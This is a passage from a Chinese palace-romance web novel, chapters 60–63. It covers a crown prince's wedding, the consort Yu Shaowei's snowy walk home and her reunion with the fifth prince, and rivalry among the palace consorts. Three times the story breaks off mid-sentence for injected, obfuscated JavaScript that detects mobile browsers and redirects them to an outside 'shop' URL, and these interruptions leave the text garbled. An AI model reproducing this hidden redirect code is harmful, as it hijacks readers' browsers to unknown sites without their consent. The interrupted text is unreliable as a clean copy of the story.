在太子病倒前,她做事还是战战兢兢的,婚礼各方面繁杂的琐事将她脑袋塞得满满的,实在是苦不堪言。可太子病倒好,大婚之事停摆,她好不容易得来歇息的机会,却又出了亓轸那码子事,骤然闲下来的时光对上扰心烦神的伤心事,于少微的脑海里不可抑制的翻来覆去的想,整宿整宿的睡不着觉,那段日子,她看起来竟比之前忙碌时还要憔悴。 救了她的还是太子的婚事,亓辒身体稍好后,钦天监又重新算了婚礼的日期,帝后同意后,于少微立刻返岗,日日奋战在一线,一副拼命三娘的模样看得后宫众人大为震撼,连庆帝都忍不住亲自叮嘱让其注意休息,陈皇后更是感动的稀里哗啦,李嫔…李嫔私下吐槽说不知道的还以为太子是于少微儿子。 无聊的宫廷生活总会滋生一些莫名其妙的言论,有人说于少微此举意在讨好帝后与太子,可谓一举四得;亦有人说于少微是为了让五皇子在皇后膝下的日子好过些;更有人说于少微是想借婚礼讨好太子妃进而讨好郑家,以此为五皇子铺路…… 谣言众说纷纭,于少微却像是处在台风眼之中,仍凭周围风暴如何汹涌,她自安然不动,然而,只有她自己明白,每日大脑被各类事项占满,容不得她再思旁事,虽是整日忙得脚不沾地,却夜夜都能倒头就睡,无梦好眠。 婚礼当日,又是一场大雪,朱红宫墙覆着蓬松的白雪,地上白茫茫一片,红灯笼早挂遍了每座宫檐的角脊,雪粒子落在灯笼上融成水珠,又顺着轮廓往下淌。 宫门外的御道上早已挤满了前来观礼的百姓,禁军将士身着银甲,手持斧钺,在雪地里站成两列笔直的仪仗,远处传来“咚咚”的太平鼓声,紧接着是唢呐与笙箫齐鸣,人群瞬间沸腾起来,是太子的迎亲队伍到了。 领头的是八匹披红挂彩的骏马,太子一身喜服,面容俊朗,唇边含着温和的笑意。途经之处,百姓们纷纷拱手道贺,孩子们也争先恐后的高举着红纸剪的喜字,随行的宫人们手提係着红绸竹篮,一边走一边向外洒铜板,引得众人争先挣抢,抢到的人又是大声道喜,整个京城都沉浸在喜气洋洋的氛围之中。 迎亲的队伍步入东宫,礼乐的丝竹声伴随着喜庆的鼓点,敲在每一颗跳跃的心脏上,司仪高声唱喏,两人转身面向殿外的瑞雪长天,深深一揖;而后又转回,端坐在高位上的帝后二人挽着手,含笑受了新人的拜礼。 待到礼成,观礼众人移步宝庆殿,地龙烧得旺旺的,大殿内暖如春日,众人面前的食案上,各色珍馐冒着热腾腾的白汽,丝竹与歌舞并行,水袖与彩绦交错,文官们举杯畅谈,武将们高声行令,连宫妃们都在此时卸掉了平日的端庄,举杯庆贺,笑语晏晏。 于少微目不转睛地欣赏着这场热闹又盛大的婚礼,看见众人脸上洋溢的喜色,满满的成就感充盈胸膛好像马上就要喷薄而出,整个人之沉浸,李嫔坐在她旁边喊了她好几声都没得到回应。 李嫔本来体谅她筹办婚礼辛苦,此时沉浸式验收成功也是人之常情,只是,宴席眼瞅着过半,她提着酒壶都与周边的妃子们唠了快两轮了,还是没和于少微喝上一杯,再一歪头,见此人不但不搭理她,连食案上的酒菜也几乎一口没动,她实在忍不住,也不理解,当即端着酒盏的走到于少微面前。 视线被挡,于少微不用抬头也知道自己面前站了一个大咧咧的李蓁蓁,她好整以暇地抬头,单手撑脸,冲人眨了眨眼。 李蓁蓁先是一愣,随后露出一副被恶心到的表情,嫌恶道:“你搞什么啊?!” 于少微举着酒盏起身,她比李蓁蓁要高一些,使得后者不得不微微抬头,她笑眼盈盈,低头倾身,眼睛一错不错地看着神情有些发懵的李蓁蓁,轻轻碰了下她握在胸前的酒盏,用有些苦恼的语气低低道:“别人的婚礼我也不知道该说什么,那就先提前祝你新年快乐了。” 李蓁蓁回过神来,看见于少微依旧是一副专注看她的模样,她掩饰性的咳嗽两声,往前送了送酒盏,矜持道:“嗯谢谢你啊,你也新年,啊呸…你也提前新年快乐。” 于少微笑笑,仰头喝完杯中的酒。 李蓁蓁磨磨蹭蹭地在她身边坐下,拉着她叽叽喳喳的讲自己方才听到的一堆七零八落的东西,于少微一边吃菜一边听着,耳边还有别处传来的欢声笑语。席面的菜色是她一道道试出来的,席间的舞乐也是她一场场看完亲自选出的,大殿内的布置也是她与人商讨了许久的,她仿佛置身于一个全然由她自己创造的世界中,席中人的笑语在为她加冕。 李蓁蓁注意到她一脸沉浸的神情,知道她又没在听了,索性住了嘴,目光无聊地四处散漫,忽然被斜对面的两道身影吸引住,她定睛一看,瞳孔放大,连忙晃着于少微的手臂着急道:“你快看!!!” “怎么…嗯嗯看,看什么?”于少微一阵左右张望,那!那里!李蓁蓁使劲朝她使眼色,于少微顺着她的指引看过去,瞬间到抽一口凉气,迅速回头小声道:“她们,她们在干嘛?” “喝酒呗,你瞎啊这都看不出来?”李蓁蓁满意于少微的反应,随口刺了她一句。 于少微罕见的没回嘴,脸上的震惊依旧没有消散,道:“我知道她们在喝酒,我的问题是她们怎么会喝酒?文淑妃和谢贵人怎么会在一起喝酒?!” 于少微一脸魔幻,李蓁蓁也同样不解,她看了看对面两人,又看了看于少微,拍桌道:“过去看看不就知道了!” “?”于少微用看神经病的眼神看她,那副表情好像在说这人莫不是酒喝多了把脑子喝懵了? 李蓁蓁瞪了她一眼,直接一把将人拉起来,鬼鬼祟祟的穿过聊天的众人,绕到一个屏风后头躲起来。 于少微瞪大眼睛,无声作口型:怎么发现的? 李蓁蓁得意的要命,无声回道:善于观察。 两人相视一笑,然后一齐将耳朵贴到屏风上。 “再喝一点吗?”这是谢凝华的声音。 文淑妃沉默了一瞬,点头道:“再喝一杯吧。” 谢凝华将两人的酒杯满上。 两人各自举杯,然后是一段漫长的沉默。 就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226624|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在于少微她们以为她俩会再说话时,又听到谢凝华突然没头没脑的来了一句:“你在愧疚?” 文淑妃这次反应很快,语气生硬:“你想多了。” “那你为何要来找我这个仇人喝酒?”谢凝华晃了晃手中酒杯。 文淑妃没有言语,只是又给自己倒了杯酒。 谢凝华不再追问,只是越过她将目光投向三两坐在一处欢笑的人群,语气怅然:“我们都老了。” 文淑妃轻轻的“嗯”了一声。 谢凝华看着身边眉眼沉静的文淑妃,恍若回到二人初入宫时的那段日子,嘴角抿出一抹苦涩的笑,轻叹一声:“再喝一些吧,你也再多坐一会儿,难得的好日子不是吗?” 文淑妃看见她眼里的祈求,心中一瞬间五味杂陈,最终什么都没说,只是提起酒壶替二人满上,之后两人慢慢的呷着杯中的酒,明明坐的那么近,却没再讲过一句话。 于少微拉着李蓁蓁回到座位,李蓁蓁心情不好,她默默在旁边陪着。 这时,门外突然传来声响,众人的目光都被吸引过去,一看,原来是亓轸与李蓁蓁的兄长进来了。 李蓁蓁看见哥哥,表情惊喜,当即就站起来奔向前去,于少微留在原地,看着被人群簇拥着的亓轸,表情愣怔,他不是去南地查盐铁之事了吗?怎么突然回来了? 那日御花园一别,于少微辗转反侧几日也不知之后该如何面对亓轸,索性称病闭门不出,埋首婚礼事宜,如她所愿,有关少年的影子、声音,甚至消息都躲得干干净净,忙碌间隙忽然有一缕似有若无的失落缠上了她 这么几天了,他一点只言片语都没给她,御花园那日咄咄逼人的模样仿佛是假象般,他真的一点不在乎了吗?难道是被她的态度伤的彻底失望了吗?于少微心里忽的一紧。 还不待她主动去打探情况,过来串门的李蓁蓁又兴致冲冲的过来炫耀家里给她送来的东西,一件件展示完,她又忽然有些失落道:“父亲回边疆了,哥哥和五皇子一起外出勘察了,今年过年怕是都见不着了。” 原来是外出了啊,于少微忽然松了口气,心上一轻。 亓轸笑着与迎上来的大臣们寒暄,目光悄悄落在不远处垂首坐着的于少微身上,他拨开人群,目不斜视地路过她,走到一身喜服的太子与太子妃面前,举起酒杯道:“祝大哥大嫂新婚快乐。” 太子喝下这杯酒,看着亓轸还沾着白雪的大氅,亲近道:“五弟明明要务在身,还赶回来参加我与太子妃的婚礼,我心里很是喜悦。” 亓轸拱手敬了敬:“大哥成婚,我怎么也得赶回来的。” 李蓁蓁的兄长不知何时也拿着一杯酒走了过来,对着太子行了一礼,笑道:“五殿下为了参加您的婚礼,赶了几日的路,昼夜不歇,换了好几匹马,我们这帮人跟着,直道不比打仗累。” 太子温言道:“大家都辛苦了,赶紧坐下好好吃点喝点,若有什么想吃想喝的,直接与旁边的宫人说就行。” 说完又看向亓轸:“五弟此次回来能待几日?” “明日就走。”亓轸声音不大,周围人却都能听到。 太子愣了一下,没再多问,只是拉着人坐下,又让宫人再上一些酒菜过来。 61. 第六十一章 李蓁蓁的哥哥与同僚一桌吃酒聊天去了,她也迈着轻快的步伐回去找于少微。于少微见她回来,顺手将方才新端上来的一碟红曲糕推到她面前,李蓁蓁嘴上说着自己食案上也有,手却半点不客气,径直拈起一块,于少微看她吃得香甜,自己也取了一块,小口慢慢咬着。 那方方正正的点心块头不大,李蓁蓁三两口便解决干净,转头却见于少微还在慢条斯理地啃着,不知情的人瞧着还以为是在磨牙,一块糕咬了半晌,也只磨去薄薄一层皮。 李蓁蓁瞧出不对劲,伸了五指在她眼前晃了晃,于少微抬手轻轻按住她的手,斜睨她一眼:“做什么?” 李蓁蓁来了点脾气,阴阳怪气的拖长声音嗳唷一声,道:“我还想问你干嘛呢?” 她的目光落在于少微手中那半块糕上,示意道:“平日里也没见你这般吃法,一副心不在焉的模样,在想什么?” 于少微低头将没吃完的点心放回食碟,轻轻摇头:“没什么。” 李蓁蓁哪里肯信,凑到她面前,低声自语:“不对,你定然有事,方才还好好的,怎么从谢凝华与文淑妃那边回来就成了这副样子……” 话音未落,她眼睛骤然一睁,像是瞬间洞悉了真相,压低声音道:“是不是因为谢凝华!我就知道!那种早该去死的人,一见便叫人恶心!” 于少微:…… 李蓁蓁只当她是默认,嘴上越发说得激动:“为什么这样恶毒的人还没有死!我的青兰还等着她去陪葬呢!我昨晚又梦见青兰了,她和我说地下好冷,我……” 她说着说着声音渐渐低了下去,刚刚还活泛的眉眼现在一整个耷拉下来,她伸手挽住于少微的胳膊,将脑袋轻轻靠在她的肩头,没有再说话。 于少微轻轻拍了她两下,由着她靠着自己,目光却不经意地往太子的方向望去,那道熟悉的身影始终侧对着她,自始至终,未曾回头一次。 婚宴后半段,两人都兴致缺缺,相互倚靠着,默默听着周围的嘈杂笑语。 好不容易捱到结束,李蓁蓁与她打了个招呼就去找自己兄长了,于少微没有立即起身,仍静静坐在原处,看着周围人来人往,相互道别、相约再会,离去的背影三三两两,看得她心头一阵空落。 寒冬腊月的,碳火虽然能暖和身体,心里的孤寂却是怎么也暖不了的,回去也是孤身一人,还不如多待一会儿,多少吸点人气,心也暖一些。 就这么想着,于少微硬生生坐到最后,直到那道熟悉的身影也随人离开,直到偌大的宫殿里只剩她一人,她终于揉了揉久坐发麻的双腿,缓缓起身回宫。 外头的雪下的很大,于少微站在殿门外,看着地上厚厚的积雪,瞬间就想缩回温暖干燥的大殿。殿外背风处传来低低的说话声,是两个小宫女在聊天,一个抱怨早知道应该早些回去,方才的雪还没积那么厚呢。另一个则是叹气,说她们要留下来收拾,殿里的贵人没走完,她们又怎么可能回得去? 于少微竖起耳朵听完,放弃让人去请轿撵的想法,裹紧身上的狐裘,悄悄的,在洁白的积雪上,印上第一个脚印。 绣鞋一踏上松软的白雪便微微下陷,还好,只没过半个脚掌,于少微暗暗松了口气,积雪比她预想中浅些,亏得她畏寒,脚上穿的本就是厚底高帮的棉鞋。 既已迈出第一步,眼见着雪还有愈下愈大的趋势,她不敢耽误,只想就快赶回,这举办婚宴的宝庆殿离她的长信宫有些远,为避免被雪阻的寸步难行,她必须快点再快点。 可风雪偏不遂人愿,刚走过御花园的月亮门,呼啸的北风像含着冰碴的刀子,狠狠刮在她脸上,刺得她瞬间睁不开眼,狐裘的领口被风掀起,寒意顺着脖颈往衣袍里钻,脚下的积雪也越来越深,明明先前还只是没到半掌,此刻已然没过脚踝,每走一步都要先把脚从雪地里拔出来,再重重落下。 于少微咬着牙加快脚步,裙摆早已被雪水打湿,沉甸甸地贴在腿上,冰冷的触感顺着肌肤蔓延开来,心里本就积着事,此刻被这刺骨的风雪一搅,更是憋得胸口发闷。 她仰头望了望天,觉得自己憋屈极了!索性什么也不管了,提着濡湿的裙子闷着头大跨步往前冲,却不料还没走几步,脚下突然打滑,身体重心瞬间失衡,整个人重重地摔在雪地里。 积雪顺着衣袍的缝隙灌进去,贴近内层的中衣,一瞬间,所有的委屈、疲惫和压抑全都冲破了防线,眼泪再也忍不住,顺着冻得发红的脸颊滚落,她真想放声哭一场,可一抬头看见漫天风雪更急了,远处宫灯只剩一团模糊光晕,亭台楼阁都隐在白茫茫的雪幕里,若是再耽搁,恐怕真要被困在这雪地里。 不知怎的,可能是天太冷,雪太大,她一直没遇到巡夜的宫人,槐序和青阳在宴席未结束时就被她先打发回去了,槐序肩头的刀伤又疼了,她注意到她为自己布菜时有些僵硬的动作,连忙叫青阳把人带去找太医了,此时此刻,漫天风雪之中,竟当真只剩她一个人。 没有办法,于少微用冻得僵硬的手指抹了把眼泪,撑着冰冷的雪地慢慢爬起来,狐裘上沾满了雪沫,头发也散了几缕贴在额前,她吸了吸鼻子,一边哽咽着一边继续往前走,每一步都走得摇摇晃晃,却不敢有丝毫停歇。 又勉强走了约莫一刻,路程已过大半,宫道漫长,两侧枯树的枝桠在风雪中乱颤,如鬼手般伸向夜空,她的眼泪早就止住了,泪痕凝在脸上,被寒风一吹,冷得像冰。 没事的,再撑一撑,就快到了,马上就要到了!回去便能换干净衣裳,泡热水澡,喝滚烫姜茶……于少微在心底一遍遍给自己打气,嘴角勉强扯出一抹比哭还难看的笑,她是真的快要走不动了…… 前方不远处突然出现一团模糊的亮光,随着亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236165|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光越来越近,于少微眯起眼睛,发现那是一个提着宫灯的人。风雪挡得她看不清那人的面容,但有人总是好的,她使劲挥手,大声喊道:“这里有人!可否过来帮忙?!” 那人听到她的声音,先是一愣,然后便肉眼可见的加快了前进的速度,于少微看着那人在雪地中灵活的移动,一时有些怔忡,为什么人家走得那么轻松,她却那么狼狈? 思绪突然飘远,提灯的人却越靠越近,明明漫天风雪早已消融了所有声响,她却莫名清晰听见了脚步声,还伴随着一声熟悉至极的呼唤:“慧嫔娘娘!” 于少微浑身一僵,猛地抬头。 风雪中,一道挺拔的身影正快步朝她走来,官绿色的锦袍在白雪的映衬下格外醒目,正是今晚不远万里赶回来参加太子婚宴的亓轸。 他的肩头落满白雪,连发梢眉尖都沾着细碎雪粒,显然已经出来有一会儿了,狭长的双眸在看到她满身狼狈的模样时,瞬间蹙紧,接连两个大跨步赶到她面前。 “你怎么在这里?”于少微下意识地往后退了一步,想掩饰自己此刻的窘迫。 亓轸没回答,只是上前一步,不由分说地蹲下身:“上来。” 于少微连忙摆手:“不必,我自己能走。” “雪都快没到小腿了,你走回长信宫要到何时?”亓轸转头看她,眼里满是急切。 于少微被堵得哑口无言,大脑停摆,僵在原地不知如何反应,不等她再推辞,亓轸已伸手将她拉至背上,稳稳站起身。 少年的肩膀宽阔而温暖,带着淡淡的香气,她很熟悉,这是她宫里的熏香。 突然被人背了起来,于少微有些不适地挣扎了一下,结果立马感觉到身下的少年身形一晃,圈在她腿弯的手瞬间收紧,亓轸的语气带着几分无奈:“别动,等会儿咱俩一起摔下去了。” 风雪似乎更紧了,亓轸的脚步却一直很稳,宫墙在两侧缓缓后退,于少微趴在他背上,听着他沉稳的心跳声,鼻尖忽地一酸,先前忍住的眼泪又差点掉下来,她悄悄抬手,帮他拂去了落在肩上的雪。 长信宫的轮廓终于出现在风雪中,朱门覆雪,檐角垂冰,整座宫苑都浸在一片白茫茫的寒寂里。 于少微眯起眼,突然看见宫门下挂着一盏灯笼,橘黄色的光晕在风雪中轻轻摇曳,温暖而明亮,她认出来了,那是她的转鹭灯。 风雪漫天,天地皆白,唯有这一盏灯在她眼中亮着。 她的心口猛地一震,百感交集瞬间如潮而至,她想起自己那些伤人的话,想到那些刻意疏远的日子,想起山茶树前的争执,想起方才婚宴上没有丝毫交集的眼神……一切的一切此刻都在这团暖光中翻涌。 柴门闻犬吠,风雪夜归人 风雪夜归人啊…… 身下的少年在这样的风雪夜,又一次为她挂上了回家的灯。 62. 第六十二章 青阳听到响动掀开门帘迎出来时,看到两人的模样,惊得差点打翻手里的暖炉 “娘娘!五殿下!你们怎么弄成这样?!” “快去给我准备热水和换洗衣服。”于少微一进门就迫不及待地吩咐道。 殿内早已烧旺了地龙,暖融融的气息扑面而来,与外面的冰天雪地判若两个世界,亓轸小心翼翼地正想将于少微放在铺着厚厚锦垫的贵妃榻上,后者突然用力揽住他的肩膀,挣扎道:“别!地上,把我放地上!” 亓轸不理解,但还是照做,于少微踩在地上,低头左扭右扭地看,满脸嫌弃:“脏死了这一身。” 亓轸站在旁边看她,不自觉轻笑出声,于少微下意识抬头瞪他一眼,目光相接时,两人皆是一愣。 这么轻快的氛围,有多久没在他们之间出现过了?这份熟悉的感觉,遥远的好似上辈子的事情了。 两人都不忍言语,甚至连呼吸都放的很轻很轻,好像只要他们什么都不做,时间就能永远停在此刻,所有的一切烦扰都与他们无关。 屋外白雪皑皑,北风拍的窗棂啪啪作响,屋内却暖如春日,明亮的烛火摇曳着相对而立的影子。 青阳端来了冒着热气的姜茶,抬头看见沉默对视的二人,下意识噤声,杵在门口处,进退两难。亓轸率先发现了她,冲她轻轻颔首,示意她端进来。 青阳将姜茶放在桌几上,手脚麻利的倒好两杯,正准备赶紧退下时,亓轸突然喊住她:“热水放好了吗?” 于少微一下子还没反应过来,青阳也是愣了愣,赶紧道:“好,放好了!” 亓轸看向于少微轻轻道:“您快去吧,湿衣服穿久了可不行。” 于少微怔怔点头,目光落在少年衣上的湿痕,道:“那你呢?” 亓轸轻轻道:“我也要回去了。” 要回去了?于少微心想,是不来了吗? “你是明日走吗?”她突然想到自己在宝庆殿听到的话。 亓轸笑了笑,纠正道:“是明日早晨。” “那么快啊。”于少微不自觉喃喃出声,话一出口意识到有些不妥,连忙找补道:“我,我的意思是辛苦了,那么远的路,这天气也不好,赶来赶去挺累的。” 亓轸轻笑出声,目不转睛地看着于少微,眸子里的绿意像两团跳动的火。 于少微被他看得有些不自在,别过眼匆匆道:“那我去了哈,你,你路上小心。” “娘娘。”亓轸在于少微转身时叫住她,慢慢绕到她身前。于少微抬头看向少年,偏了偏头,表情微微疑惑。 亓轸不知怎的,又轻轻的笑了一下,于少微有些恼了,板着脸道:“怎么了?” “我有东西要给您。”亓轸边说着,边从袖袋里抽出一把造型精致的折扇。 于少微伸手接过,将其慢慢展开,湘妃竹制的扇骨,上面绘的是橙枝栖雀图。 “这是苏扇。”亓轸的声音在旁边响起,于少微拿着扇子笑吟吟地看他,夸赞道:“真漂亮。” “什么漂亮?扇子还是扇面?”亓轸突然追问。 于少微疑惑,理所当然道:“当然是都漂——等等!”她突然反应过来,又仔细看了两眼扇面,惊讶道:“是你画的吗?” 亓轸笑着点头:“不知道您喜不喜欢。” 于少微大大的“哇”了一声,欣喜地举高扇子对着烛光又仔仔细细地看了两遍,然后又十分珍重的抱到怀里,认真道:“我太喜欢了!太漂亮!只是……”她语露迟疑,有些不确定道:“怎么突然送我这个?” “您忘了吗?”亓轸声音有些低。 “嗯?” 亓轸轻轻叹了口气,目光仔仔细细的描摹着面前人的脸庞,她比他离开时瘦了好些,他知道她一直在忙太子的婚宴,只是没想到竟会让她这么劳累,眼里流露出明晃晃的心疼,他又叹了口气,道:“再过两日,是您的生辰啊。” 于少微轻轻的“啊”了一声,原来是生辰礼,她要生日了,那亓轸岂不也是——心里瞬间涌上一阵懊悔,她竟然忘了!这下可好了,人明早就走了,她怎么还礼?! “不好意思啊……我最近太忙了,你的生辰礼等你回来,我加倍给你好吗?你,你什么时候能回来?”于少微垂眸看着手中的折扇。 亓轸摇头:“我不知道。” “这样啊……”于少微的声音低了下去。 “我不想要两件生辰礼。”亓轸突然道。 于少微抬头:“啊?” “我的意思是,我不想等回来才能收到您的礼物。”亓轸一字一句道。 “什,什么意思?”于少微彻底糊涂了。 “您可以寄给我吗?”亓轸眼睛亮晶晶的,“我此行第一站是徽州,要在那里待好几日,之后每到一个新地方,都会待上一段时日,所以我的意思是,您可以给我写信吗?” “我……”看见少年满脸期待的模样,于少微觉得自己根本说不出拒绝的话,也不想拒绝,她郑重的点头,道:“你回头给我一份你的行程,我给你写信。” 几封信罢了,小心些就是了,她暗暗思拊。 似乎猜到她在想什么,亓轸也用非常郑重的语气发誓:“我保证不会有除我们二人之外的人知晓。” 于少微被他正经的样子逗笑,伸手拿扇子杵了他一下,笑道:“知道啦,快回去吧,早些休息,明早还要赶路。” 亓轸一把抓住扇头,表情认真:“您一定要记得,我会一直等您的信的。” 于少微学着他的样子,一本正经道:“我一定记得。” 亓轸笑了,依依不舍地抬脚朝门口走,临到出门时,他忍了又忍,还是没忍住道:“我这回其实是为了您回来的。” 于少微一愣,抬头看见少年略微局促的表情,藏在黑发后的耳廓也有些发红,心尖蓦地一软,此前所有的思虑和烦忧仿佛都在此刻瓦解,她释然一笑,轻轻道:“我知道了。” * 冬去春来秋又至,一眨眼,亓轸已经离京大半年,与他的信件于少微也已攒了半个木匣,少年的信总是很用心,写风物,记人事,语言总是幽默诙谐,随信而来的总有些小玩意儿,或是裹着箬竹叶的茉莉香片,拆开时满室清芬,亦或是一对银质的小铃铛,内芯是南地特产的空心竹珠,还有一串风干的莲蓬,少年在信里笑着说“南边的莲,结子比京中更饱满,听说有莲莲有喜的寓意。” 亓轸的来信为她枯燥的宫中生活吹来了几缕外界的风,于少微珍重的收好每一封信件,每一件小物,她的生活虽不及他丰富有趣,却也认真记着那些琐碎的日常与变幻的心情。宫中并不算无大事发生,今年开春,太子妃郑淳查出喜脉,宫中许久未有孩子诞生,郑淳肚里的孩子作为长孙,陈皇后与庆帝高兴得不得了,宫中也接连好长一段日子一直洋溢着悦人的喜气。 于少微时常在陈皇后宫中碰见郑淳,待她逐渐显怀后,又变成皇后带着于少微去东宫看她,于少微并没有比郑淳大几岁,虽是差着辈分,但见得多了便也慢慢熟稔,郑淳非在京城长大,后宫中除了皇后与太子,更是没什么说话的人,再加上孕期容易敏感,陈皇后特意叮嘱过于少微,让她没事多去东宫走动走动。 郑淳已经怀孕六个月了,肚子也已经很大了,随着秋风渐凉,她也甚少出门,于少微跨进东宫时,发现她正坐在一树木芙蓉下,表情哀婉。 于少微叹了口气,郑淳近日总是这副模样,陈皇后见了担心得不得了,连庆帝都破天荒的问了好几次,他们劝不动,就让与她关系亲近的于少微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239061|191471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去劝,于少微无奈望天,觉得帝后既高估了自己的作用,也低估了郑淳的情谊。 太子不知怎的,身子自入夏后就又有些不好了,起先只是精神不振,容易昏睡,太医来看了也只说是旧疾复发加上国事劳累,为此,太子只能减少上朝和看奏折的时间,在东宫静养。那段时日,郑淳觉得挺幸福的,太子每日都陪着她,二人新婚燕尔,很是浓情蜜意。 四皇子亓轩也经常会来东宫探望,他知道太子关心朝事,每每下朝,总会第一时间来到东宫,细细向太子汇报朝会内容,太子一方面感慨弟弟用心,另一方面又觉得如此可令他多学些东西,所以每每亓轩来时,他即使感到乏力,仍然会强撑着精神与他畅谈两三刻钟,郑淳虽看得心疼,私下也与太子提过,但总是被太子温柔的否决了,她知道这位四皇子在太子心里不一样,渐渐也不再提了。 可又过了几月,太子咳疾加重,甚至还带了血丝,不止如此,还常常容易心悸,太医来看了好些次,看来看去也只说是秋凉渗人,风寒入肺,开了些温补的药材,慢慢养着。这些药起先还有些作用,可没过几日,太子的状况又有些恶化,这回,即便太医再怎么加重药性,也没什么用了。 郑淳本来身子就重,朝夕相处的丈夫成日缠绵病榻,开先几日,她真的是整宿整宿的哭。皇后和于少微苦口婆心地劝了又劝,这姑娘明面上答应地好好的,第二日瞧见人,眼圈又是红肿的,最后还是太子精神好时出马,才将将止住了她的眼泪。可于少微也知道,只要太子依旧是现在这个模样,郑淳的心是不会好的,原本眉眼秾丽的姑娘,眼下却似她头顶的开至深红的木芙蓉,无端端带了一股枯萎的气息。 于少微走到郑淳身边坐下,郑淳见她来了,也没太大反应,依旧望着一处怔怔的发呆,于少微有意拉她说话,东扯西扯一大堆,她说的口干舌燥,可面前坐着的人依旧是没什么反应。 宫中发生的事,她自己身上的事,能说的她都说了,语料库告截,她只好胡乱瞎聊,随口问道:“最近四皇子有来东宫吗?” 郑淳这才有了些反应,她摇了摇头:“可能最近太子没有精神听朝事了,四弟来得也少了。” 于少微胡乱点了点头,又开始思考下一个话题应该如何开启。 “你还有话想说?”她突然瞥见郑淳一副欲言又止的模样。 郑淳迟疑的点点头,表情犹豫不决。 于少微哪能让她这样,连忙握住她冰凉的手,语气温柔又认真:“想说什么便说吧,憋在心里也难受,你知道的,我不会与旁人乱说的。” 郑淳知道于少微是个嘴严的人,这些话她也的确在心中憋了好久,她回头望了望寝宫,又看向于少微缓缓道:“我其实,不太喜欢四皇子过来。” 于少微挑眉,示意她继续。 第一句说出口,后面的话就顺畅了许多,郑淳道:“四皇子他,我觉得他有些奇怪,他看我的眼神怪怪的,像是在看仇人,可我几乎与他没打过交道啊?还有他每次来看太子,我若是待在旁边,他就会想尽办法打发我出去,我不明白他为什么要这样做,我……” 郑淳说不下去了,她眼里满是迷茫与不解,显然她自己也没厘清为何自己平白无故遭人厌恶。 于少微看着她迷惑的样子,轻叹道:“这不关你的事,是四皇子从小与太子要好,他或许觉得太子与你成婚后,你成了太子最亲密的人,他心里一时过不去,有些羡慕嫉妒你吧。” 郑淳听得懵懂,也只无奈道:“我没有兄弟姊妹,自是无法理解他们之间的感情,可,或许……等四弟也娶亲就好了吧。” 于少微点点头,她突然想到,四皇子已满十七,的确到了该娶亲的年纪了,可他上头还有二皇子,二皇子的亲事怎么还没听到动静呢? 63. 第六十三章 亓轲的亲事不是没有动静,而是呈上的人选谢凝华都不满意。二皇子妃的候选名单是由陈皇后与庆帝定的,谢凝华虽此前早有心理准备,见到名单后还是发了好大的脾气。 名单是文淑妃送过来的,她见谢凝华这副模样,凉凉提点道:“今时不同往日,我劝你收敛些。” 谢凝华转头看她,眼睛有些发红:“这些女子家世与才貌皆平平,如何配的上我儿?” 文淑妃嗤道:“配不配的上哪是你说得算?你还当自己是此前的谢贵妃,谢家还是此前的谢家?” 谢凝华沉默一瞬,抬头目不转睛地盯着悠闲靠在椅背上的文淑妃,轻轻道:“文慈音,我有时真想掐死你。” 文淑妃嫣然一笑,语气轻快:“巧了,我也是。” 谢凝华不想与她斗嘴,只是将那写满姓名与家世信息的册子踢到一旁,自己疲惫地靠在椅背上,半响,才幽幽道:“你甘心吗?当年太子妃是如何挑选的,去岁太子的婚宴又是如何筹办的,你认为等到四皇子成亲,他的婚事能比的上几分?” 文淑妃的表情沉了下来,谢凝华歪头看她,语气轻飘飘的,“你说五分会有吗?亓轩的婚事比得上太子的一半吗?” 文淑妃的表情彻底冷了下来,眯眼警告道:“我劝你安分守己,不要去肖想些不是你的东西。” “肖想?”谢凝华被这两个字逗笑,“我想要的东西从不需要肖想,倒是你,阿音啊,你真的甘心吗?” 文淑妃沉默了,谢凝华看见她这副样子,轻笑一声,忽然想到:“听说四皇子最近病了?怎的那么巧,太子病了他也病?” 文淑妃眼神凌厉,毫不客气道:“你什么意思?” “别这么凶。”谢凝华呷了口茶,“四皇子自小与太子要好,现在连生病都要生在一块儿,这感情真令人羡慕呢!” 文淑妃表情嫌恶,冷冷道:”太子可是陛下和皇后的心头宝,我劝你不要乱打什么主意。” “你这话说得就有点过分,这平白无故的罪名我可担不起。”谢凝华斜了文淑妃一眼,“我只是替你和四皇子不值罢了。你说明明连病都可以一起生,为什么这命却差那么远呢?” “收起你那些鬼鬼祟祟的心思吧。”文淑妃冷眼看她,侧头示意身边的宫人去将名册捡起来,起身准备离开,“想来你是一个都没看上,我这就替你回禀了陛下,至于你有什么要求,自己和陛下讲去吧。” 